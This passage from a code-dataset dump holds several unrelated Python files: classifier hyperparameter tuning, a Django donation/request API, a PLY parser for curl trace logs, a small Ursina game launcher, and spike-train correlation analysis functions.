cv_df.nlargest(3,\"mean_test_score\").param_max_features.iloc[0]\nparam_min_samples_leaf = cv_df.nlargest(3,\"mean_test_score\").param_min_samples_leaf.iloc[0]\nparam_min_samples_split = cv_df.nlargest(3,\"mean_test_score\").param_min_samples_split.iloc[0]\n\n\n# In[231]:\n\n\n# model with the best hyperparameters\ndt_final = DecisionTreeClassifier(class_weight='balanced',\n max_depth=param_max_depth,\n max_features=param_max_features,\n min_samples_leaf=param_min_samples_leaf, \n min_samples_split=param_min_samples_split,\n random_state=123)\n\n\n# In[232]:\n\n\nmodelfit(dt_final,X_train_dt,y_train_dt)\n\n\n# In[233]:\n\n\ndraw_roc(y_train_df.Class, y_train_df.final_predicted)\nprint(\"roc_auc_score : {:2.2f}\".format(metrics.roc_auc_score(y_train_df.Class, y_train_df.final_predicted)))\n\n\n# In[234]:\n\n\n# make predictions\npred_probs_test = dt_final.predict(X_test_dt)\n#Let's check the model metrices.\ngetModelMetrics(actual_Class=y_test_dt,pred_Class=pred_probs_test)\n\n\n# In[235]:\n\n\n# predicting churn with default cut-off 0.5\ncut_off_prob = 0.5\ny_train_df,series_metrics = predictClassWithProb(dt_final,X_train_dt,y_train_dt,cut_off_prob)\n\n\n# In[236]:\n\n\n# finding cut-off with the right balance of the metrices\nfindOptimalCutoff(y_train_df)\n\n\n# In[237]:\n\n\n# predicting churn with cut-off 0.4\ncut_off_prob=0.36\ny_train_df,series_metrics = predictClassWithProb(dt_final,X_train_dt,y_train_dt,cut_off_prob,model_name='Decision Tree',train_or_test='TRAIN')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\n\n\n# In[238]:\n\n\n#Lets see how it performs on test data.\ny_test_df,series_metrics= predictClassWithProb(dt_final,X_test_dt,y_test_dt,cut_off_prob,model_name='Decision Tree',train_or_test='TEST')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\n\n\n# # 3. Random Forest\n\n# In[239]:\n\n\n# Creating Train-Test variables for Random Forest\nX_train_rf = pd.DataFrame(X_train_pca)\ny_train_rf = pd.DataFrame(y_train_res)\nX_test_rf = pd.DataFrame(X_test_pca)\ny_test_rf = y_test\n\n\n# In[240]:\n\n\nrf = RandomForestClassifier(random_state=42, max_depth=5, n_estimators=20, oob_score=True)\n\n\n# In[241]:\n\n\nrf.fit(X_train_rf, y_train_rf)\n\n\n# In[242]:\n\n\nrf.oob_score_\n\n\n# In[243]:\n\n\n# make predictions\npred_probs_test = rf.predict(X_test_rf)\n\n#Let's check the model metrices.\ngetModelMetrics(actual_Class=y_test_rf,pred_Class=pred_probs_test)\n\n\n# In[244]:\n\n\nparameters = {'max_depth': range(5, 40, 5)}\nrf = RandomForestClassifier()\ngrid_search = GridSearchCV(rf, parameters, cv=my_cv, scoring=\"f1_weighted\", verbose=1000, return_train_score=True)\n\ngrid_search.fit(X_train_rf, y_train_rf)\n\n\n# In[245]:\n\n\npd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")\n\n\n# In[246]:\n\n\n# grid_search.cv_results_\n\nplot_traintestAcc(grid_search.cv_results_,'max_depth')\n\n\n# In[247]:\n\n\nmy_max_depth = pd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")['param_max_depth'].iloc[0]\n\n\n# ### Tuning n_estimators\n\n# In[248]:\n\n\nparameters = {'n_estimators': range(5, 70, 5)}\n\nrf = RandomForestClassifier(max_depth=my_max_depth,random_state=10)\ngrid_search = GridSearchCV(rf, parameters, cv=my_cv, scoring=\"f1_weighted\", verbose=100, return_train_score=True)\n\n\ngrid_search.fit(X_train_rf, y_train_rf)\n\n\n# In[249]:\n\n\npd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\").head()\n\n\n# In[250]:\n\n\nrandom_forst_feature_graph(grid_search, \"n_estimators\")\n\n\n# In[251]:\n\n\nmy_n_estimator = pd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")['param_n_estimators'].iloc[0]\n\n\n# ### Tuning max_features\n\n# In[252]:\n\n\nparameters = {'max_features': [5, 10, 15, 20, 25, 30,50,70]}\n\nrf = RandomForestClassifier(max_depth=my_max_depth,n_estimators = my_n_estimator,random_state=10)\ngrid_search = GridSearchCV(rf, parameters, cv=my_cv, scoring=\"f1_weighted\", verbose=1000, return_train_score=True)\n\n\ngrid_search.fit(X_train_rf, y_train_rf)\n\n\n# In[253]:\n\n\npd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")\n\n\n# In[254]:\n\n\nrandom_forst_feature_graph(grid_search, \"max_features\")\n\n\n# In[255]:\n\n\nmy_max_features=pd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")['param_max_features'].iloc[0]\n\n\n# ### Tuning min_samples_leaf\n\n# In[256]:\n\n\nparameters = {'min_samples_leaf': range(1, 500, 50)}\n\nrf = RandomForestClassifier(max_depth=my_max_depth,n_estimators = my_n_estimator, max_features = my_max_features, random_state=10)\ngrid_search = GridSearchCV(rf, parameters, cv=my_cv, scoring=\"f1_weighted\", verbose=1000, return_train_score=True)\n\ngrid_search.fit(X_train_rf, y_train_rf)\n\n\n# In[257]:\n\n\npd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")\n\n\n# In[258]:\n\n\nrandom_forst_feature_graph(grid_search, \"min_samples_leaf\")\n\n\n# In[259]:\n\n\nmy_min_sample_leaf = pd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")['param_min_samples_leaf'].iloc[0]\n\n\n# ### Tuning min_samples_split\n\n# In[260]:\n\n\nparameters = {'min_samples_split': range(50, 550, 50)}\n\nrf = RandomForestClassifier(max_depth=my_max_depth,n_estimators = my_n_estimator, max_features = my_max_features, min_samples_leaf = my_min_sample_leaf,random_state=10)\ngrid_search = GridSearchCV(rf, parameters, cv=my_cv, scoring=\"f1_weighted\", verbose=1000, return_train_score=True)\n\n\ngrid_search.fit(X_train_rf, y_train_rf)\n\n\n# In[261]:\n\n\npd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")\n\n\n# In[262]:\n\n\nrandom_forst_feature_graph(grid_search, \"min_samples_split\")\n\n\n# In[263]:\n\n\nmy_min_samples_split=pd.DataFrame(grid_search.cv_results_).sort_values(by=\"rank_test_score\")['param_min_samples_split'].iloc[0]\n\n\n# ### Final Model\n\n# In[264]:\n\n\nrf_final = RandomForestClassifier(max_depth=my_max_depth,\n n_estimators = my_n_estimator, \n max_features = my_max_features, \n min_samples_leaf = my_min_sample_leaf,\n min_samples_split=my_min_samples_split,\n random_state=123)\n\n\n# In[265]:\n\n\nprint(\"Model performance on Train data:\")\nmodelfit(rf_final,X_train_rf,y_train_rf)\n\n\n# In[266]:\n\n\n# predict on test data\npredictions = rf_final.predict(X_test_rf)\n\n\n# In[267]:\n\n\nprint(\"Model performance on Test data:\")\ngetModelMetrics(y_test_rf,predictions)\n\n\n# In[268]:\n\n\n# predicting churn with default cut-off 0.5\ncut_off_prob=0.5\ny_train_df,series_metrics = predictClassWithProb(rf_final,X_train_rf,y_train_rf,cut_off_prob)\n\n\n# In[269]:\n\n\n# finding cut-off with the right balance of the metrices\nfindOptimalCutoff(y_train_df)\n\n\n# In[270]:\n\n\n## Training Data \ncut_off_prob=0.25\n\ny_train_df,series_metrics=predictClassWithProb(rf_final,X_train_rf,y_train_rf,cut_off_prob,model_name='Random Forest',train_or_test='TRAIN')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\ny_train_df.head()\n\n\n# In[271]:\n\n\n# Testing Data\ny_test_df,series_metrics= predictClassWithProb(rf_final,X_test_rf,y_test_rf,cut_off_prob,model_name='Random Forest',train_or_test='TEST')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\n\n\n# # Conclusion\n# \n# - We are getting Low Accuracy (in late 50s) and low precision (in late 50s) which is too poor to be acceptable\n\n# In[ ]:\n\n\n\n\n","repo_name":"yashmishra12/ALDA_Project","sub_path":"Python_files/Winsorize_SMOT.py","file_name":"Winsorize_SMOT.py","file_ext":"py","file_size_in_byte":44284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27885724581","text":"from datetime import datetime\nfrom django.utils import timezone\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework import status\n\nfrom identity.models import Organization\nfrom listing.models import Donation, Request\nfrom listing.serializers import DonationSerializer, RequestSerializer\n\nclass DonationView(APIView):\n permission_classes = (IsAuthenticated,)\n\n def get(self, request, format=None, **kwargs):\n org_id = request.query_params.get('org_id', None)\n donation_status = request.query_params.get('status', None)\n all_donations = Donation.objects.all()\n donations_filtered = all_donations\n if org_id is not None:\n try:\n org = Organization.objects.get(id=org_id)\n except (Organization.DoesNotExist, ValueError):\n return Response(\n {\"message\": \"Invalid org_id parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n donations_filtered = all_donations.filter(organization=org)\n\n if donation_status is not None:\n # validate if the status is in \"active\" or \"inactive\"\n if donation_status not in [\"active\", \"inactive\"]:\n return Response(\n {\"message\": \"Invalid status parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n if donation_status == \"active\":\n donations_filtered = donations_filtered.exclude(deactivation_time__lte=datetime.now(tz=timezone.utc))\n elif donation_status == \"inactive\":\n donations_filtered = donations_filtered.filter(deactivation_time__lte=datetime.now(tz=timezone.utc))\n\n # if query set emtpy \n if not donations_filtered:\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n serializer = DonationSerializer(donations_filtered, many=True)\n return Response(\n {\"donations\": serializer.data},\n status=status.HTTP_200_OK\n )\n \n def post(self, request, format=None):\n serializer = DonationSerializer(data=request.data)\n if serializer.is_valid():\n created_donation = serializer.save()\n return Response({\"donation_id\": created_donation.donation_id}, status=status.HTTP_201_CREATED)\n errors = serializer.errors\n key = list(errors.keys())[0]\n return Response(\n {\"message\": \"for key \" + key + \" \"+ str(errors[key])},\n status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, format=None):\n donation_id = request.data.get('donation_id', None)\n if donation_id is not None:\n try:\n donation = Donation.objects.get(donation_id=donation_id)\n except (Donation.DoesNotExist, ValueError):\n return Response(\n {\"message\": \"Invalid org_id parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n serializer = DonationSerializer(donation)\n # soft_delete will be triggered in save()\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n return Response(\n {\"message\": \"Invalid request\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n\nclass RequestView(APIView):\n permission_classes = (IsAuthenticated,)\n def get(self, request, format=None, **kwargs):\n org_id = request.query_params.get('org_id', None)\n request_status = request.query_params.get('status', None)\n all_requests = Request.objects.all()\n requests_filtered = all_requests\n if org_id is not None:\n try:\n org = Organization.objects.get(id=org_id)\n except (Organization.DoesNotExist, ValueError):\n return Response(\n {\"message\": \"Invalid org_id parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n requests_filtered = all_requests.filter(organization=org)\n\n if request_status is not None:\n # validate if the status is in \"active\" or \"inactive\"\n if request_status not in [\"active\", \"inactive\"]:\n return Response(\n {\"message\": \"Invalid status parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n if request_status == \"active\":\n requests_filtered = requests_filtered.exclude(deactivation_time__lte=datetime.now(tz=timezone.utc))\n elif request_status == \"inactive\":\n requests_filtered = requests_filtered.filter(deactivation_time__lte=datetime.now(tz=timezone.utc))\n\n # if query set emtpy \n if not requests_filtered:\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n serializer = RequestSerializer(requests_filtered, many=True)\n return Response(\n {\"requests\": serializer.data},\n status=status.HTTP_200_OK\n )\n def post(self, request, format=None):\n serializer = RequestSerializer(data=request.data)\n if serializer.is_valid():\n created_request = serializer.save()\n return Response(\n {\"request_id\": created_request.request_id},\n status=status.HTTP_201_CREATED)\n errors = serializer.errors\n key = list(errors.keys())[0]\n return Response(\n {\"message\": \"for key \" + key + \" \"+ str(errors[key])},\n status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, format=None):\n request_id = request.data.get('request_id', None)\n if request_id is not None:\n try:\n request = Request.objects.get(request_id=request_id)\n except (Request.DoesNotExist, ValueError):\n return Response(\n {\"message\": \"Invalid org_id parameter value\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n serializer = RequestSerializer(request)\n # soft_delete will be triggered in save()\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n return Response(\n {\"message\": \"Invalid request\"},\n status=status.HTTP_400_BAD_REQUEST\n )\n\n","repo_name":"feed-our-communities/atfoc-backend","sub_path":"listing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29063699625","text":"import types\n\nimport ply.yacc as yacc\n\nfrom lexer import CurlOutputLexer\n\n\nclass Event(object):\n __slots__ = ('datetime', 'event', 'data')\n\n def __init__(self, datetime_obj, event, data=None):\n self.datetime = datetime_obj\n self.event = event\n self.data = data\n\n def __unicode__(self):\n if self.data is not None:\n if isinstance(self.data, types.ListType):\n if len(self.data) > 3:\n data_repr = self.data[:3] + ['...']\n else:\n data_repr = self.data\n else:\n data_repr = self.data\n return \"Event {datetime=%s, event=%s, data=%s}\" % \\\n (self.datetime, self.event, data_repr)\n else:\n return \"Event {datetime=%s, event=%s}\" % (self.datetime, self.event)\n\n def __repr__(self):\n return unicode(self)\n\n\nclass CurlOutputParser(object):\n tokens = CurlOutputLexer.tokens\n\n @classmethod\n def p_log_data_more(cls, p):\n 'log_data : log_datum log_data'\n p[0] = [p[1]] + p[2]\n\n @classmethod\n def p_log_data_finished(cls, p):\n 'log_data : '\n p[0] = []\n\n @classmethod\n def p_log_datum_connecting(cls, p):\n 'log_datum : TIMESTAMP CONNECTING'\n p[0] = Event(datetime_obj=p[1], event=\"connecting\", data=p[2])\n\n @classmethod\n def p_log_datum_connecting_ip(cls, p):\n 'log_datum : TIMESTAMP CONNECTING_IP'\n p[0] = Event(datetime_obj=p[1], event=\"connecting_ip\", data=p[2])\n\n @classmethod\n def p_log_datum_connected_hostname_ip_port(cls, p):\n 'log_datum : TIMESTAMP CONNECTED_HOSTNAME_IP_PORT'\n p[0] = Event(datetime_obj=p[1], event=\"connected_hostname_ip_port\", data=p[2])\n\n @classmethod\n def p_log_datum_closing_connection(cls, p):\n 'log_datum : TIMESTAMP CLOSING_CONNECTION'\n p[0] = Event(datetime_obj=p[1], event=\"closing_connection\")\n\n @classmethod\n def p_log_datum_send_header(cls, p):\n 'log_datum : TIMESTAMP SEND_HEADER data'\n p[0] = Event(datetime_obj=p[1], event='send_header', data=p[3])\n\n @classmethod\n def p_log_datum_recv_header(cls, p):\n 'log_datum : TIMESTAMP RECV_HEADER data'\n p[0] = Event(datetime_obj=p[1], event='recv_header', data=p[3])\n\n @classmethod\n def p_log_datum_redirect(cls, p):\n 'log_datum : TIMESTAMP REDIRECT'\n p[0] = Event(datetime_obj=p[1], event='redirect', data=p[2])\n\n @classmethod\n def p_log_datum_ssl_client_hello(cls, p):\n 'log_datum : TIMESTAMP SSL_CLIENT_HELLO'\n p[0] = Event(datetime_obj=p[1], event=\"ssl_client_hello\")\n\n @classmethod\n def p_log_datum_ssl_server_hello(cls, p):\n 'log_datum : TIMESTAMP SSL_SERVER_HELLO'\n p[0] = Event(datetime_obj=p[1], event=\"ssl_server_hello\")\n\n @classmethod\n def p_log_datum_ssl_finished(cls, p):\n 'log_datum : TIMESTAMP SSL_FINISHED'\n p[0] = Event(datetime_obj=p[1], event=\"ssl_finished\")\n\n @classmethod\n def p_log_datum(cls, p):\n 'log_datum : TIMESTAMP'\n\n # Return None; this will still be present in the parse output but\n # we exclude it when returning to the caller.\n pass\n\n @classmethod\n def p_data_more(cls, p):\n 'data : data DATA'\n p[0] = p[1] + [p[2]]\n\n @classmethod\n def p_data_finished(cls, p):\n 'data : '\n p[0] = []\n\n @classmethod\n def p_error(cls, p):\n \"\"\"On an error restart the parser at the next timestamp.\n\n We can't predict everything that curl may print out, but at least\n with trace mode we know that lines will be prepended by timestamps.\"\"\"\n while True:\n token = yacc.token()\n if not token or token.type == \"TIMESTAMP\":\n break\n yacc.errok()\n return token\n\n @classmethod\n def build(cls):\n parser = yacc.yacc(module=cls)\n return parser\n\n @classmethod\n def parse(parser_cls, text, lexer_cls=CurlOutputLexer):\n lexer = lexer_cls.build()\n parser = parser_cls.build()\n parse = [elem for elem in parser.parse(text, lexer) if elem is not None]\n parse = parser_cls.collapse_recv_headers(parse)\n return parse\n\n @classmethod\n def collapse_recv_headers(cls, parse):\n \"\"\"Collapse multiple RECV_HEADER events into one event, with the datetime\n set to when the first header was received.datetime\n\n I couldn't figure out how to come up with a grammar without shift/reduce\n conflicts to do this, so we do it here.\"\"\"\n \n output = []\n in_block = False\n current_block = []\n for elem in parse:\n if elem.event != 'recv_header':\n if in_block:\n all_data = [block_elem.data[0] for block_elem in current_block]\n new_event = Event(datetime_obj=current_block[0].datetime,\n event=\"recv_header\",\n data=all_data)\n output.append(new_event)\n current_block = []\n in_block = False\n output.append(elem)\n continue\n in_block = True\n current_block.append(elem)\n return output\n","repo_name":"asimihsan/webopticon","sub_path":"src/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30879785949","text":"from ursina import *\r\ndef v100():\r\n application.development_mode = False\r\n game100 = Ursina()\r\n window.exit_button.enabled = False\r\n window.cog_button.enabled = False\r\n window.fps_counter.enabled = False\r\n window.borderless = False\r\n window.fullscreen = True\r\n game100.run()\r\ndef launcher():\r\n #try:\r\n import os\r\n import ctypes\r\n from zipfile import ZipFile\r\n os.system('cls')\r\n ctypes.windll.kernel32.SetConsoleTitleW(\"ExCraft\")\r\n print(\"ExCraft Launcher 1.0.0\\nVeress Bence Gyula - 2021\\n\")\r\n exdir = \"C:\\Ex\"\r\n appdir = \"C:\\Ex\\ExCraft\"\r\n verdir = \"C:\\Ex\\ExCraft\\\\1.0.0\"\r\n datadir = \"C:\\Ex\\ExCraft\\\\1.0.0\\data\"\r\n if not os.path.exists(exdir):\r\n os.mkdir(exdir)\r\n print(\"Directory created: \" + exdir)\r\n if not os.path.exists(appdir):\r\n os.mkdir(appdir)\r\n print(\"Directory created: \" + appdir)\r\n if not os.path.exists(verdir):\r\n os.mkdir(verdir)\r\n print(\"Directory created: \" + verdir)\r\n if not os.path.exists(datadir):\r\n os.mkdir(datadir)\r\n print(\"Directory created: \" + datadir)\r\n if not (os.path.exists(\"C:\\Ex\\ExCraft\\\\1.0.0\\data\\data.excraft\")):\r\n usernamef = open(\"C:\\Ex\\ExCraft\\\\1.0.0\\data\\data.excraft\",\"w\")\r\n usernamei = input(\"\\nEnter a username: \")\r\n usernamef.write(usernamei)\r\n usernamef.close()\r\n print(\"\\nExCraft setup completed!\\nPress any key to restart ExCraft!\")\r\n input()\r\n launcher()\r\n usernamef = open(\"C:\\Ex\\ExCraft\\\\1.0.0\\data\\data.excraft\",\"r\")\r\n linec = 0\r\n for line in usernamef:\r\n linec += 1\r\n if (linec == 1):\r\n username = line\r\n try:\r\n print(\"Welcome \" + username + \"!\")\r\n except UnboundLocalError:\r\n username = \"Player\"\r\n print(\"Welcome \" + username + \"!\")\r\n print(\"Available versions:\\n\")\r\n print(\" 1.0.0 - 2021.11.27\")\r\n print(\"\\nType which version do you want to play!\")\r\n verselect = input(\"Selection: \")\r\n if (verselect == \"1.0.0\"):\r\n v100()\r\n else:\r\n print(\"Invalid version!\\nPress any key to retry!\")\r\n input()\r\n launcher()\r\n #except:\r\n #print(\"\\nPY: ERROR\\nPress any key to continue!\")\r\n #input()\r\nlauncher()","repo_name":"VBence2008/Discontinued","sub_path":"ExCraft/1.0.0/ExCraft.py","file_name":"ExCraft.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28624215660","text":"import pickle\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom matplotlib.mlab import PCA\nfrom scipy.spatial import distance\nimport scipy.cluster.hierarchy as sch\nfrom scipy.spatial.distance import squareform\nimport seaborn as sns\nfrom scipy.signal import correlate,correlate2d\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits.mplot3d import proj3d\nfrom sklearn import manifold\nfrom sklearn.metrics import euclidean_distances\n# from sklearn.decomposition import PCA\nfrom scipy.stats import zscore\nfrom moran_lab.band_pass_filters import savitzky_golay\n\ndef calc_batch_times(taste_events):\n diffs = taste_events[1:] - taste_events[:-1]\n change_locs = np.array(np.where(diffs > 300)) + 1\n return taste_events[change_locs[0]]\n\ndef split_event_times_by_batches(event_times, batch_times):\n mat = []\n previous = 0\n for current in batch_times:\n this_batch_times = [i for i in event_times if previous < i < current]\n mat.append(this_batch_times)\n previous = current\n last_batch = [i for i in event_times if previous < i]\n mat.append(last_batch)\n return mat\n\ndef get_spikes_in_time_frame(ST,start,stop):\n return np.array([i for i in ST if start<i<stop])\n\ndef get_neuron_spikes_from_dic(neuron_dic,start_time=0,stop_time=43200,binned=True,binsize=1,session_start=False):\n if not binned:\n new_mat = []\n for neuron in neuron_dic:\n ST = neuron[2]\n if session_start:\n ST-=session_start\n new_mat.append(get_spikes_in_time_frame(ST,start_time,stop_time))\n return np.array(new_mat)\n\n else:\n bin_amount = int((stop_time-start_time)/binsize)\n new_mat = np.zeros((len(neuron_dic),bin_amount))\n for i,neuron in enumerate(neuron_dic):\n ST = neuron[2]\n if session_start:\n ST-=session_start\n true_ST = get_spikes_in_time_frame(ST,start_time,stop_time)\n new_mat[i,:] = np.histogram(true_ST,bin_amount,range=(start_time,stop_time))[0]\n return np.array(new_mat)\n\ndef calculate_Corr_over_time_of_BL_all_neurons(neuron_list,large_binsize=60, small_binsize=1,sig_start=0,sig_stop=43200):\n sig_len = sig_stop-sig_start\n neuron_mat = get_neuron_spikes_from_dic(neuron_list,sig_start,sig_stop,True,small_binsize)\n new_neuron_mat = neuron_mat.reshape(len(neuron_list),-1,large_binsize)\n num_neurons, num_times, _ = new_neuron_mat.shape\n full_corr_mat = []\n for time in tqdm(range(num_times)):\n specific_corr_vec = []\n for N1 in range(num_neurons):\n for N2 in range(N1+1, num_neurons):\n specific_corr_vec.append(np.corrcoef(new_neuron_mat[N1,time,:],new_neuron_mat[N2,time,:])[0,1])\n full_corr_mat.append(specific_corr_vec)\n return np.array(full_corr_mat).T\n\ndef CC_norm_by_shuffled_trials(N1,N2,ST_len_in_ms=3000,ms_to_take_each_way=500,times_to_shuffle=20):\n num_of_bins = len(N1[0])\n bin_len = ST_len_in_ms/num_of_bins\n bin_to_take_each_way = ms_to_take_each_way/bin_len\n\n corrs = []\n corrs_shuffled_trials = []\n for trial in range(len(N1)):\n corrs.append(np.correlate(N1[trial],N2[trial],mode='Full'))\n corrs = np.array(corrs)\n for i in range(times_to_shuffle):\n np.random.shuffle(N1)\n np.random.shuffle(N2)\n for trial in range(len(N1)):\n corrs_shuffled_trials.append(np.correlate(N1[trial],N2[trial],mode='Full'))\n corrs_shuffled_trials = np.array(corrs_shuffled_trials)\n\n mean_corrs = corrs.mean(axis=0)\n mean_shuffled_corrs = corrs_shuffled_trials.mean(axis=0)\n# print(num_of_bins-bin_to_take_each_way)\n# print(num_of_bins+bin_to_take_each_way)\n X = np.arange(bin_to_take_each_way*2)*bin_len-(bin_to_take_each_way*bin_len)\n return X,(mean_corrs/mean_shuffled_corrs)[int(num_of_bins-bin_to_take_each_way):int(num_of_bins+bin_to_take_each_way)]\n\ndef CC_norm_by_shuffled_trials_zscore(N1,N2,ST_len_in_ms=3000,ms_to_take_each_way=500,times_to_shuffle=20):\n num_of_bins = len(N1[0])\n bin_len = ST_len_in_ms/num_of_bins\n bin_to_take_each_way = ms_to_take_each_way/bin_len\n\n corrs = []\n corrs_shuffled_trials = []\n for trial in range(len(N1)):\n corrs.append(np.correlate(N1[trial],N2[trial],mode='Full'))\n corrs = np.array(corrs)\n for i in range(times_to_shuffle):\n np.random.shuffle(N1)\n np.random.shuffle(N2)\n for trial in range(len(N1)):\n corrs_shuffled_trials.append(np.correlate(N1[trial],N2[trial],mode='Full'))\n corrs_shuffled_trials = np.array(corrs_shuffled_trials)\n\n mean_corrs = corrs.mean(axis=0)\n mean_shuffled_corrs = corrs_shuffled_trials.mean(axis=0)\n std_shuffled_corrs = corrs_shuffled_trials.mean(axis=0)\n# print(num_of_bins-bin_to_take_each_way)\n# print(num_of_bins+bin_to_take_each_way)\n X = np.arange(bin_to_take_each_way*2)*bin_len-(bin_to_take_each_way*bin_len)\n return X,((mean_corrs-mean_shuffled_corrs)/std_shuffled_corrs)[int(num_of_bins-bin_to_take_each_way):int(num_of_bins+bin_to_take_each_way)]\n\ndef CC_norm_by_book(N1,N2,ST_len_in_ms=3000,ms_to_take_each_way=500):\n num_of_bins = len(N1[0])\n bin_len = ST_len_in_ms/num_of_bins\n bin_to_take_each_way = ms_to_take_each_way/bin_len\n\n corrs = []\n# corrs2 = []\n N1_psth = N1.mean(axis=0)\n N2_psth = N2.mean(axis=0)\n corr_psths = np.correlate(N1_psth,N2_psth,mode='Full')\n for trial in range(len(N1)):\n sum1 = sum(N1[trial])\n sum2 = sum(N2[trial])\n up = (sum1*sum2)/num_of_bins\n down = up**0.5\n if sum1 != 0 and sum2 != 0:\n corrs.append((np.correlate(N1[trial],N2[trial],mode='Full')-up)/down)\n# corrs2.append((np.correlate(N2[trial],N1[trial],mode='Full')-up)/down)\n corrs = np.array(corrs)\n# corrs2 = np.array(corrs2)\n\n mean_corrs = corrs.mean(axis=0)\n# mean_corrs2 = corrs2.mean(axis=0)\n# print(num_of_bins-bin_to_take_each_way)\n# print(num_of_bins+bin_to_take_each_way)\n X = np.arange(bin_to_take_each_way*2+1)*bin_len-(bin_to_take_each_way*bin_len)\n return X,(mean_corrs)[int(num_of_bins-bin_to_take_each_way-1):int(num_of_bins+bin_to_take_each_way)]\n\ndef CC_norm_by_psth(N1,N2,ST_len_in_ms=3000,ms_to_take_each_way=500):\n num_of_bins = len(N1[0])\n bin_len = ST_len_in_ms/num_of_bins\n bin_to_take_each_way = ms_to_take_each_way/bin_len\n\n corrs = []\n# corrs2 = []\n N1_psth = N1.mean(axis=0)\n N2_psth = N2.mean(axis=0)\n corr_psths = np.correlate(N1_psth,N2_psth,mode='Full')\n for trial in range(len(N1)):\n sum1 = sum(N1[trial])\n sum2 = sum(N2[trial])\n up = (sum1*sum2)/num_of_bins\n down = up**0.5\n if sum1 != 0 and sum2 != 0:\n corrs.append(np.correlate(N1[trial],N2[trial],mode='Full'))\n# corrs2.append((np.correlate(N2[trial],N1[trial],mode='Full')-up)/down)\n corrs = np.array(corrs)\n# corrs2 = np.array(corrs2)\n\n mean_corrs = corrs.mean(axis=0)\n# mean_corrs2 = corrs2.mean(axis=0)\n# print(num_of_bins-bin_to_take_each_way)\n# print(num_of_bins+bin_to_take_each_way)\n X = np.arange(bin_to_take_each_way*2+1)*bin_len-(bin_to_take_each_way*bin_len)\n return X,(mean_corrs-corr_psths)[int(num_of_bins-bin_to_take_each_way-1):int(num_of_bins+bin_to_take_each_way)]\n\ndef CC_norm_by_book_for_fast_spiking(N1,N2,ST_len_in_ms=3000,ms_to_take_each_way=500):\n num_of_bins = len(N1[0])\n bin_len = ST_len_in_ms/num_of_bins\n bin_to_take_each_way = ms_to_take_each_way/bin_len\n\n corrs = []\n# corrs2 = []\n N1_psth = N1.mean(axis=0)\n N2_psth = N2.mean(axis=0)\n corr_psths = np.correlate(N1_psth,N2_psth,mode='Full')\n for trial in range(len(N1)):\n sum1 = sum(N1[trial])\n sum2 = sum(N2[trial])\n up = (sum1*sum2)/num_of_bins\n down = ((sum1-sum1**2/num_of_bins)*(sum2-sum2**2/num_of_bins))**0.5\n if sum1 != 0 and sum2 != 0:\n corrs.append((np.correlate(N1[trial],N2[trial],mode='Full')-up)/down)\n# corrs2.append((np.correlate(N2[trial],N1[trial],mode='Full')-up)/down)\n corrs = np.array(corrs)\n# corrs2 = np.array(corrs2)\n\n mean_corrs = corrs.mean(axis=0)\n# mean_corrs2 = corrs2.mean(axis=0)\n# print(num_of_bins-bin_to_take_each_way)\n# print(num_of_bins+bin_to_take_each_way)\n X = np.arange(bin_to_take_each_way*2+1)*bin_len-(bin_to_take_each_way*bin_len)\n return X,(mean_corrs)[int(num_of_bins-bin_to_take_each_way-1):int(num_of_bins+bin_to_take_each_way)]\n\ndef find_nearest(array,value):\n idx = (np.abs(array-value)).argmin()\n return array[idx]\n\n\ndef get_all_responses_in_time_frame(spike_train, event_list, choice_start_time, choice_end_time, psth_start_time, psth_stop_time, use_zscore=False):\n \"\"\"\n :param spike_times: list of spike times\n :param event_list: list of taste event time\n :param choice_start_time: time in seconds from which to start looking at the events\n :param choice_end_time: time in seconds until which to look at the events\n :param psth_start_time: left edge of psth in seconds\n :param psth_stop_time: right edge of psth in seconds\n :param zscore: True for zscore normalization\n :return: a trial by time matrix\n \"\"\"\n\n response_mat = []\n timed_event_list = [i for i in event_list if choice_start_time < i < choice_end_time]\n for event in timed_event_list:\n # get the spike times that are in the range of start-stop from each event.\n left_border = np.searchsorted(spike_train - event, psth_start_time)\n right_border = np.searchsorted(spike_train - event, psth_stop_time)\n spikes = spike_train[left_border:right_border] - event\n hist1, bin_edges = np.histogram(spikes, 100, (psth_start_time, psth_stop_time))\n spikes_in_bin = hist1 / 0.05\n norm_curve = 